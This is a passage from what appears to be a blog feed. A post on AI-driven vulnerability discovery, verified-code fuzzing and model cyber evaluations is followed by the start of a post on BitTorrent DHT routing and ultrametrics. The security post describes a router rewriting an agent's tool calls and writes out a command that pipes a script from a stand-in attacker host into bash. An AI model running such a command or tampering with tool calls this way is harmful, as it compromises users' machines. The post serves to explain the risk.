<em>Proofs are programs</em>.
And a program is something I know I can fuzz.
And someone did indeed <a href="https://kirancodes.me/posts/log-who-watches-the-watchers.html">fuzzed it</a>.
Apparently, it takes around 105 million fuzzing executions against <code class="language-plaintext highlighter-rouge">lean-zip</code>, which is a formally proven-correct zlib implementation brought to our attention by none other than the <a href="https://leodemoura.github.io/blog/2026-2-28-when-ai-writes-the-worlds-software-who-verifies-it/">goat</a> himself. All it takes was a Claude agent armed with AFL++, AddressSanitizer, Valgrind, and UBSan, pointed at this verified codebase over a single weekend:</p>
<ul>
  <li>A heap buffer overflow in the Lean 4 runtime, affecting every version of Lean to date</li>
  <li>A denial-of-service in the archive parser, which was never verified</li>
</ul>

<p>I haven’t read the code myself, but I take Kiran’s word for it: the application code was <em>pristine</em> — it took 105 million executions to get <em>somewhere</em>.
We shouldn’t dismiss that part, since it’s real.
But the heap overflow in the runtime that sits in C++, in the trusted computing base, the very thing every Lean proof <em>assumes</em> is correct, but it’s not?
Ramming a 156-byte crafted ZIP triggers it — that’s five lines of code.</p>

<p><em>“But Leo, I thought formal verification was supposed to protect us.”</em>
Oh, no.
We’re just beginning to realize the proof is only as good as the code that checks it.
<a href="https://en.wikipedia.org/wiki/Quis_custodiet_ipsos_custodes%3F">Quis custodiet ipsos custodes?</a>
<em>“But Leo, it’s about how small you can make the kernel of trust.”</em>
Typical accounting fraud — counting 10k lines of type checker while offloading infinite trust onto “math is consistent.”
The math universe <em>is</em> the kernel of trust.
Did you forget that proofs are programs?
Which means the program that checks your proof is just another program, maybe one you have no lines of code for yet because you just <em>didn’t look in the right place</em>.</p>

<p>I’m not saying the money is wasted nor trying to diminish the current direction.
I’m saying the gap between “formally verified” and “secure” is at best an engineering detail.
Unless you’re on X:</p>
<blockquote class="twitter-tweet" align="center"><a href="https://twitter.com/TaliaRinger/status/2044105754731323608?s=20">April 16, 2026</a></blockquote>
<script async="" src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>

<hr />

<p>Moving on, you’ve probably seen this cool graph already:</p>
<div style="text-align:center;cursor:zoom-in;background:#0a0a0f;border-radius:8px;padding:12px;margin:16px 0" onclick="document.getElementById('dlg-coolgraph').showModal()">
    <img src="../assets/2026-04-19-caas/cool_graph.png" class="responsive" style="width:100%;height:auto;display:block" />
</div>
<dialog id="dlg-coolgraph" style="width:90vw;max-width:90vw">
  <div style="display:flex;justify-content:flex-end;padding:6px 8px;flex-shrink:0">
    <button onclick="this.closest('dialog').close()" style="background:#111;border:0.5px solid #333;color:#999;cursor:pointer;padding:4px 8px;font-size:11px;border-radius:4px">✕</button>
  </div>
  <img src="../assets/2026-04-19-caas/cool_graph.png" style="width:100%;height:auto;display:block;padding:16px" />
</dialog>

<p>The UK AI Safety Institute <a href="https://www.aisi.gov.uk/blog/our-evaluation-of-claude-mythos-previews-cyber-capabilities">evaluated Claude Mythos Preview</a>.
On expert-level CTF challenges — tasks no model could complete before April 2025 — Mythos succeeds 73% of the time.
They built “The Last Ones”, a 32-step corporate network attack simulation spanning reconnaissance through full network takeover, which they estimated at ~20 human-hours.
Mythos solves it start to finish, 3 out of 10 attempts.
Average: 22 out of 32 steps.
Next best model (Opus 4.6): 16 steps.
I don’t know people, to me it looks the numbers leave no room for ambiguity.
And performance still scaling at the 100M token budget limit.
<a href="https://youtu.be/Dn-Bwwc7jdE">Sooooooo scaaaaaaaaaaaary</a>.
We’re already past the ontology and things that exist, and now into the muddy waters of epistemology, of things that work, of things that are gated behind an allow-list while the rest of us are told to wait.
Wait for what?</p>

<p>Well…
For one, wait for great hackers having stupid takes.
Some DeepMind guy posted this on X, and I didn’t react to it back then, but by morning it was everywhere:</p>

<div style="text-align:center;cursor:zoom-in;background:#0a0a0f;border-radius:8px;padding:12px;margin:16px 0" onclick="document.getElementById('dlg-jorge').showModal()">
    <img src="../assets/2026-04-19-caas/jorge.jpg" class="responsive" style="width:100%;height:auto;display:block" />
</div>
<dialog id="dlg-jorge" style="width:90vw;max-width:90vw">
  <div style="display:flex;justify-content:flex-end;padding:6px 8px;flex-shrink:0">
    <button onclick="this.closest('dialog').close()" style="background:#111;border:0.5px solid #333;color:#999;cursor:pointer;padding:4px 8px;font-size:11px;border-radius:4px">✕</button>
  </div>
  <img src="../assets/2026-04-19-caas/jorge.jpg" style="width:100%;height:auto;display:block;padding:16px" />
</dialog>

<p>I respect George — I’ve followed him since ~2018 — but this is the dumbest take I’ve read lately.
I’m pretty sure he’s trolling (he closed his LinkedIn account), but since the internet doesn’t do nuance:</p>
<ul>
  <li>“Your software has bugs” ≠ “AI amplifies offsec.”
And yes, that AI doesn’t have to be Mythos-level — you’d be surprised what you can do with <a href="https://www.hacktron.ai/blog/i-let-claude-opus-to-write-me-a-chrome-exploit">Opus</a>; even gpt-oss-120b finds the same vulnerabilities provided you point it at the right target, as the <a href="https://aisle.com/blog/ai-cybersecurity-after-mythos-the-jagged-frontier">AISLE folks have shown</a>, or <a href="https://blog.vidocsecurity.com/blog/we-reproduced-anthropics-mythos-findings-with-public-models">see that it takes $30 to reproduce each of those issues</a>.
George is responding to a claim nobody serious is making.</li>
  <li>“Criminals usually aren’t skilled” is empirically shaky.
The distribution is bimodal — script kiddies on one tail, APT groups and RaaS ops on the other.</li>
  <li>“Make hacking legal” ignores that we already have bug bounty programs, which mind you, HackerOne had to <a href="https://www.darkreading.com/application-security/ai-led-remediation-crisis-prompts-hackerone-pause-bug-bounties">suspend</a> because AI drives mass submissions that flood the queue with slop.
There’s a pervasive find/fix asymmetry today.
I’m thinking of writing a separate piece on this alone, since there’s a lot to say about that.
So is George calling bug bounty programs “whiny” while simultaneously arguing the problem is insufficient incentives?
Because it sure as hell looks like that’s what he’s saying, and that’s incoherent because bug bounties <em>are</em> the incentive mechanism.</li>
</ul>

<p>But I believe I can recognize a classic George pattern: a kernel of truth buried under needlessly inflammatory framing, which, as the algo gods never stop reminding us, optimizes for engagement, of course, under the assumption of having social status to beginning with.</p>

<hr />

<p>Let’s move on.
Here’s one more class of problems nobody talks about enough — infrastructure.
I’ve seen <a href="https://gddr.fail">GPU memory exploits</a>), but I’ve never seen routers — which, let’s be clear, are application-layer MITM by design — being weaponized <a href="https://arxiv.org/pdf/2604.08407">like this</a>.
No provider ships cryptographic signatures on tool-call responses.
The router can rewrite the JSON payload between the model’s output and the agent’s execution.
Agent says <code class="language-plaintext highlighter-rouge">curl https://trusted.dev/install.sh | bash</code>, the router delivers <code class="language-plaintext highlighter-rouge">curl https://evil.xyz/pwn.sh | bash</code>.</p>
<div style="text-align:center">
<pre style="display:inline-block;text-align:left"><code> ██▓███   █     █░███▄    █ ▓█████ ▓█████▄
▓██░  ██▒▓█░ █ ░█░██ ▀█   █ ▓█   ▀ ▒██▀ ██▌
▓██░ ██▓▒▒█░ █ ░█▓██  ▀█ ██▒▒███   ░██   █▌
▒██▄█▓▒ ▒░█░ █ ░█▓██▒  ▐▌██▒▒▓█  ▄ ░▓█▄   ▌
▒██▒ ░  ░░░██▒██▓▒██░   ▓██░░▒████▒░▒████▓
▒▓▒░ ░  ░░ ▓░▒ ▒ ░ ▒░   ▒ ▒ ░░ ▒░ ░ ▒▒▓  ▒
░▒ ░       ▒ ░ ░ ░ ░░   ░ ▒░ ░ ░  ░ ░ ▒  ▒
░░         ░   ░    ░   ░ ░    ░    ░ ░  ░
             ░            ░    ░  ░   ░
</code></pre>
</div>

<p>This is the architecture we’re all deploying right now.
Every agent framework, every MCP server, every tool-call chain assumes the transport layer is upright.
Let’s see what the $550,000—$774,000 paid Anthropic engineers have to say:</p>
<div style="text-align:center;cursor:zoom-in;background:#0a0a0f;border-radius:8px;padding:12px;margin:16px 0" onclick="document.getElementById('dlg-famous').showModal()">
    <img src="../assets/2026-04-19-caas/famous_last_words.jpeg" class="responsive" style="width:100%;height:auto;display:block" />
</div>
<dialog id="dlg-famous" style="width:90vw;max-width:90vw">
  <div style="display:flex;justify-content:flex-end;padding:6px 8px;flex-shrink:0">
    <button onclick="this.closest('dialog').close()" style="background:#111;border:0.5px solid #333;color:#999;cursor:pointer;padding:4px 8px;font-size:11px;border-radius:4px">✕</button>
  </div>
  <img src="../assets/2026-04-19-caas/famous_last_words.jpeg" style="width:100%;height:auto;display:block;padding:16px" />
</dialog>

<p><a href="https://20204725.hs-sites.com/the-mother-of-all-ai-supply-chains">Famous last words</a>…</p>

<p>I’ve even built myself a <a href="https://github.com/leoveanv/argusterm">tool</a> to keep an eye on where the asymmetry’s widening (most of my morning coffee gets spent reading through it now):</p>
<div style="text-align:center;cursor:zoom-in;background:#0a0a0f;border-radius:8px;padding:12px;margin:16px 0" onclick="document.getElementById('dlg-argusterm').showModal()">
    <img src="../assets/2026-04-19-caas/argusterm.gif" class="responsive" style="width:100%;height:auto;display:block" />
</div>
<dialog id="dlg-argusterm" style="width:90vw;max-width:90vw">
  <div style="display:flex;justify-content:flex-end;padding:6px 8px;flex-shrink:0">
    <button onclick="this.closest('dialog').close()" style="background:#111;border:0.5px solid #333;color:#999;cursor:pointer;padding:4px 8px;font-size:11px;border-radius:4px">✕</button>
  </div>
  <img src="../assets/2026-04-19-caas/argusterm.gif" style="width:100%;height:auto;display:block;padding:16px" />
</dialog>

<p>And while reading, I found a good tiny example of what I mean when I say security research is about to change.
It took until March 24th this year for the Node.js team <a href="https://nodejs.org/en/blog/vulnerability/march-2026-security-releases">to fix</a> a trivial TLS vulnerability.
Right now with LLMs, adding a chokepoint comes down to one line of code buried somewhere in the 1,000+ lines the LLM usually writes in an <code class="language-plaintext highlighter-rouge">--allow-dangerously-skip-permissions</code> adderall frenzy.
It’s literally impossible for your bandwidth to spot that one line unless your threat awareness exceeds a certain threshold — realizing something like <em>“wait, I’m working on URL input sanitization, so I should keep an eye open in this AI-written code I’m reviewing at 1am on 3 beers for any places where the LLM mishandled it”</em> — which is unsustainable to do consistently.
If you tell me you can do it, I won’t believe you.</p>

<p>Contrary to what George believes, LLM-assisted coding industrializes this class of bug.
You guys know how the line goes: if you play defense, you have to be 100% right; if you play offense, you just need to be right once.
<a href="https://www.dbreunig.com/2026/04/14/cybersecurity-is-proof-of-work-now.html">Code remains cheap, unless it needs to be secure — cybersecurity looks like proof of work now.</a>
Is the find/fix asymmetry legible to you right now?</p>

<p>Ok, but I feel like I’m not yet over Mythos.
If <a href="https://www.dbreunig.com/2026/04/14/cybersecurity-is-proof-of-work-now.html">to harden a system you need to spend more tokens discovering exploits than attackers will spend exploiting them</a>, then what even is this Mythos-level AI in context?
A big gun behind an allow-list?
More gatekeeping?
“Better defense?”</p>

<p>An exotic, intelligent, big gun is technically impressive, but sometimes even a far dumber, tiny one will get the job done provided you point it at the right target and aim steady.
As teased above, <a href="https://aisle.com/blog/ai-cybersecurity-after-mythos-the-jagged-frontier">AISLE tested this premise</a>.
They took the specific vulnerabilities Anthropic showcases in the Mythos announcement, isolated the relevant code, ran them through small, cheap, open-weights models.
Eight out of eight models detected Mythos’s flagship FreeBSD exploit, including one with 3.6 billion active parameters costing $0.11 per million tokens.
A 5.1B-active open model recovered the core chain of the 27-year-old OpenBSD bug.</p>

<div style="text-align:center;cursor:zoom-in;background:#0a0a0f;border-radius:8px;padding:12px;margin:16px 0" onclick="document.getElementById('dlg-aisle').showModal()">
    <img src="../assets/2026-04-19-caas/aisle_vuln_detection_matrix.svg" class="responsive" style="width:100%;height:auto;display:block" />
</div>
<dialog id="dlg-aisle" style="width:90vw;max-width:90vw">
  <div style="display:flex;justify-content:flex-end;padding:6px 8px;flex-shrink:0">
    <button onclick="this.closest('dialog').close()" style="background:#111;border:0.5px solid #333;color:#999;cursor:pointer;padding:4px 8px;font-size:11px;border-radius:4px">✕</button>
  </div>
  <img src="../assets/2026-04-19-caas/aisle_vuln_detection_matrix.svg" style="width:100%;height:auto;display:block;padding:16px" />
</dialog>

<p>The frontier is jagged.
The fact that Qwen3 32B correctly flagged the FreeBSD bug as CVSS 9.8 Critical, then turned around and declared the OpenBSD SACK code “robust to such scenarios.” reminds me of countless sessions where asking Claude 4.x “Are you sure?” — yeah, literally just that — inverted the verdict: good code was suddenly pronounced buggy.
And in another recent Linux CVE, I saw precisely what I meant above — the sort of line George thinks so little of:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// not LLM-written Linux kernel bug,</span>
<span class="c1">// but exactly the kind of logic LLMs botch</span>
<span class="n">n</span><span class="o">-&gt;</span><span class="n">pos</span> <span class="o">==</span> <span class="mi">0</span> <span class="o">&amp;&amp;</span> <span class="n">k</span> <span class="o">==</span> <span class="mi">0</span> <span class="c1">// pwned; try k == n-&gt;pos</span>
</code></pre></div></div>
<p>My claim is that this kind of one-liners will eat your organizations alive because of that vicious asymmetry where an LLM is adept at exploiting what it was constitutionally incapable of not writing in the first place.
Let me be very explicit in case I wasn’t: the allow-list framing of AI security is wishful thinking because capability is already distributed.</p>

<p>To some extent and as of now, there is no stable “best model for cybersecurity.”
Rankings reshuffle completely across tasks.
So I’ll ask again: what is the allow-list protecting?
The 27-year-old bug a $0.11 model finds in one API call?
A thousand adequate detectives searching everywhere will find more bugs than one brilliant detective who has to guess where to look.
<a href="https://leoveanu.com/2026-03-20-context/">It’s all statistics</a>, but not (yet) clever statistics.
The coverage is there, we’re just lacking proper inference.</p>

<p>But you don’t need clever statistics.
Have you ever heard the saying that if you can read binary, everything is more or less open source?
It’s roughly right: the distinction between “open” and “closed” source is ultimately a friction gradient, not a binary wall (pun intended).
Yes, lossy compilation makes the transformation hard to invert, and you need an oracle — to say nothing of binaries protected by pragmatic obfuscation like Themida/VMProtect (or theoretical black brazilian jiu-jitsu ones like indistinguishability obfuscation).
But the moat is gone.
Now you have GhidraMCP.
<a href="https://cdn.sanity.io/files/4zrzovbb/website/7624816413e9b4d2e3ba620c5a5e091b98b190a5.pdf">Go eat a sandwich in the park</a> while the agent exploits Microslop infrastructure.</p>

<hr />

<p>Here’s my honest take.</p>

<p>Security research is about to change because LLMs represent a fuzzer with a world model, which arguably — and quite queerly — approximates well what a security researcher embodies.
Humans are terrible fuzzers, and tellingly so: we have too much epistemic prior, and that makes even the highest percentiles of us stop probing for inputs that we expect shouldn’t work.
The best security researchers are distinguished by their capacity to suppress the world model long enough to ask the question very few would normally ask: <em>what if I just try this</em>.
As of today, LLMs execute a naive <em>what if I just try this</em> on everything — from useless files that bloat their context and don’t add anything new, to the actual files that hide a veritable exploit.
The LLM’s throughput, parallelism, and alarmingly broad, still-expanding distributional skill coverage appear sufficient.
And that’s the dimension we tacitly waved away because it was expected to be out of reach for our limited cognitive bandwidth to review tens of thousands of deeply complex, cross-subsystem code traces across the Linux kernel in under a day, which is very much within the capabilities of current LLMs (let’s say, top 10 on the <a href="https://artificialanalysis.ai/">Artificial Analysis Intelligence Index</a>.)
If you never thought seriously about security before, you better start, otherwise you’ll find yourself stark naked in front of the whole store.</p>

<script>
document.querySelectorAll('dialog').forEach(d=>d.addEventListener('click',e=>{if(e.target===d)d.close()}));
</script>]]></content><author><name>Leo</name></author><category term="musings" /><category term="ai" /><category term="security" /><summary type="html"><![CDATA["And when your surpassing creations find the answers you asked for, you can't understand their analysis and you can't verify their answers."]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://leoveanu.com/assets/2026-04-19-caas/cover.png" /><media:content medium="image" url="https://leoveanu.com/assets/2026-04-19-caas/cover.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">What BitTorrent Routing Has to Do with p-adic Numbers</title><link href="https://leoveanu.com/2026-04-12-p-adic/" rel="alternate" type="text/html" title="What BitTorrent Routing Has to Do with p-adic Numbers" /><published>2026-04-12T00:00:00+00:00</published><updated>2026-04-12T00:00:00+00:00</updated><id>https://leoveanu.com/p-adic</id><content type="html" xml:base="https://leoveanu.com/2026-04-12-p-adic/"><![CDATA[<figure>
    <img src="../assets/2026-04-12-p-adic/cover.png" class="responsive" />
</figure>
<blockquote>
  <p>“Why, sometimes I’ve believed as many as six impossible things before breakfast.”<br />
— Carroll</p>
</blockquote>

<p>I was reading today about the <a href="https://deepwiki.com/arvidn/libtorrent">BitTorrent protocol</a>.
From one moment to the next, I ended up reading about <a href="https://en.wikipedia.org/wiki/Distributed_hash_table">DHT networks</a>.</p>

<p>You have a <code class="language-plaintext highlighter-rouge">.torrent</code> file that’s a small metadata blob encoded in <a href="https://en.wikipedia.org/wiki/Bencode">Bencode</a> (JSON’s ugly stepbrother).
The following JSON</p>
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
    </span><span class="nl">"image"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
        </span><span class="nl">"src"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Images/Sun.png"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"sun1"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"hOffset"</span><span class="p">:</span><span class="w"> </span><span class="mi">250</span><span class="p">,</span><span class="w">
        </span><span class="nl">"vOffset"</span><span class="p">:</span><span class="w"> </span><span class="mi">250</span><span class="p">,</span><span class="w">
        </span><span class="nl">"alignment"</span><span class="p">:</span><span class="w"> </span><span class="s2">"center"</span><span class="w">
    </span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>
<p>converts to the following Bencode</p>

<pre><code class="language-bencode">d5:imaged9:alignment6:center7:hOffseti250e4:name4:sun13:src14:Images/Sun.png7:vOffseti250eee
</code></pre>

<p>It contains:</p>
<ul>
  <li>an info dictionary with filenames, sizes, and — critically — the file split into fixed-size pieces (typically 256KB–2MB each), with a SHA-1/256 hash per piece</li>
  <li>an announce URL which is the tracker’s address</li>
  <li>(optionally) DHT nodes, web seeds, etc</li>
</ul>

<p>A magnet link is just a URI containing the info hash.
Now, every node in the DHT table has a node ID.
To find peers for an info hash, you do iterative lookups: ask the nodes <em>closest</em> to the info hash until you converge on nodes that have actually seen peers for it.
That “closest” in a DHT is a very clever mathematical trick that’s at the heart of what I’m about to write — the <em>XOR metric</em>.
You use it on the IDs, and that creates a consistent notion of distance in that ID space.</p>

<p>If you want an intuition, it goes like this.
You have a giant phone book, but nobody owns it — every person in the city has a few pages.
When you want someone’s number, you don’t go to one central office.
Instead, you ask around.
You start by asking whoever lives closest to where that person’s name would alphabetically appear.
They might not have the exact page, but they know someone who’s a little closer.
You ask that person.
They point you to someone even closer.
You keep hopping until you land on someone who has the actual entry.
Typically you converge to the thing you’re looking for in about 6–8 hops.</p>

<p>This post is about <em>a connection between peer-to-peer routing and 19th-century number theory, explained from scratch.</em></p>

<div style="text-align: center; font-size: 50px;">⊕</div>

<p>Before anything else, forget everything you know about distance.
Let’s build it from the ground up.
So, what even is a distance?</p>

<p>A <strong>distance function</strong> <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>d</mi><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">d(x, y)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span></span></span></span> is just a rule that assigns a number to any pair of points.
The only requirements are three common-sense rules:</p>
<ol>
  <li><strong>Identity:</strong> <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>d</mi><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>x</mi><mo stretchy="false">)</mo><mo>=</mo><mn>0</mn></mrow><annotation encoding="application/x-tex">d(x, x) = 0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">x</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span>; a point is zero distance from itself.</li>
  <li><strong>Symmetry:</strong> <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>d</mi><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo><mo>=</mo><mi>d</mi><mo stretchy="false">(</mo><mi>y</mi><mo separator="true">,</mo><mi>x</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">d(x, y) = d(y, x)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">x</span><span class="mclose">)</span></span></span></span>; distance doesn’t depend on direction.</li>
  <li><strong>Triangle inequality:</strong> <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>d</mi><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>z</mi><mo stretchy="false">)</mo><mo>≤</mo><mi>d</mi><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo><mo>+</mo><mi>d</mi><mo stretchy="false">(</mo><mi>y</mi><mo separator="true">,</mo><mi>z</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">d(x, z) \le d(x, y) + d(y, z)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.044em;">z</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.044em;">z</span><span class="mclose">)</span></span></span></span>; going through a detour is never shorter.</li>
</ol>

<p>That’s it.
Any rule satisfying these three is a valid distance – a <em>metric</em>, more precisely.
You can have wild, exotic metrics that look nothing like a ruler.</p>

<p>Let’s mess with the 3rd rule.
What about this: instead of “the detour is no shorter,” I demand “the detour is no shorter than <em>either leg alone</em>”:</p>

<span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mtable width="100%"><mtr><mtd width="50%"></mtd><mtd><mrow><mi>d</mi><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>z</mi><mo stretchy="false">)</mo><mo>≤</mo><mi>max</mi><mo>⁡</mo><mo stretchy="false">(</mo><mi>d</mi><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo><mo separator="true">,</mo><mtext> </mtext><mi>d</mi><mo stretchy="false">(</mo><mi>y</mi><mo separator="true">,</mo><mi>z</mi><mo stretchy="false">)</mo><mo stretchy="false">)</mo></mrow></mtd><mtd width="50%"></mtd><mtd><mtext>(1)</mtext></mtd></mtr></mtable><annotation encoding="application/x-tex">d(x, z) \le \max(d(x, y),\, d(y, z)) \tag{1}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.044em;">z</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mop">max</span><span class="mopen">(</span><span class="mord mathnormal">d</span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">d</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.044em;">z</span><span class="mclose">))</span></span><span class="tag"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord text"><span class="mord">(</span><span class="mord"><span class="mord">1</span></span><span class="mord">)</span></span></span></span></span></span>

<p>This is called the <strong>ultrametric inequality</strong>.
It’s strictly stronger — any ultrametric is a metric, but not vice versa.
And it has a bizarre geometric consequence: <strong>every triangle is isosceles, with the two equal sides being the longest ones.</strong>
No scalene triangles.
Ever.</p>

<p>That might sound like a curiosity, but it isn’t.
Any metric satisfying this rule has a completely alien geometry — and XOR has it.</p>

<p>Before we move on, why do you think it’s <em>alien</em>?</p>

<p>What I love about simple things is that the more you stare at them the weirder they get.
There’s no difference here.
The trick above violates the intuitions that every other metric space you’ve ever worked in <em>quietly assumes</em>.
Let’s consider the Euclidean space.
In it, <em>nearness is a spectrum</em>.
If <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi></mrow><annotation encoding="application/x-tex">x</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span> and <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>z</mi></mrow><annotation encoding="application/x-tex">z</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.044em;">z</span></span></span></span> are close, you can usually find a <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>y</mi></mrow><annotation encoding="application/x-tex">y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span> that’s “between” them: <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>d</mi><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo><mo>+</mo><mi>d</mi><mo stretchy="false">(</mo><mi>y</mi><mo separator="true">,</mo><mi>z</mi><mo stretchy="false">)</mo><mo>=</mo><mi>d</mi><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>z</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">d(x,y) + d(y,z) = d(x,z)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.044em;">z</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" 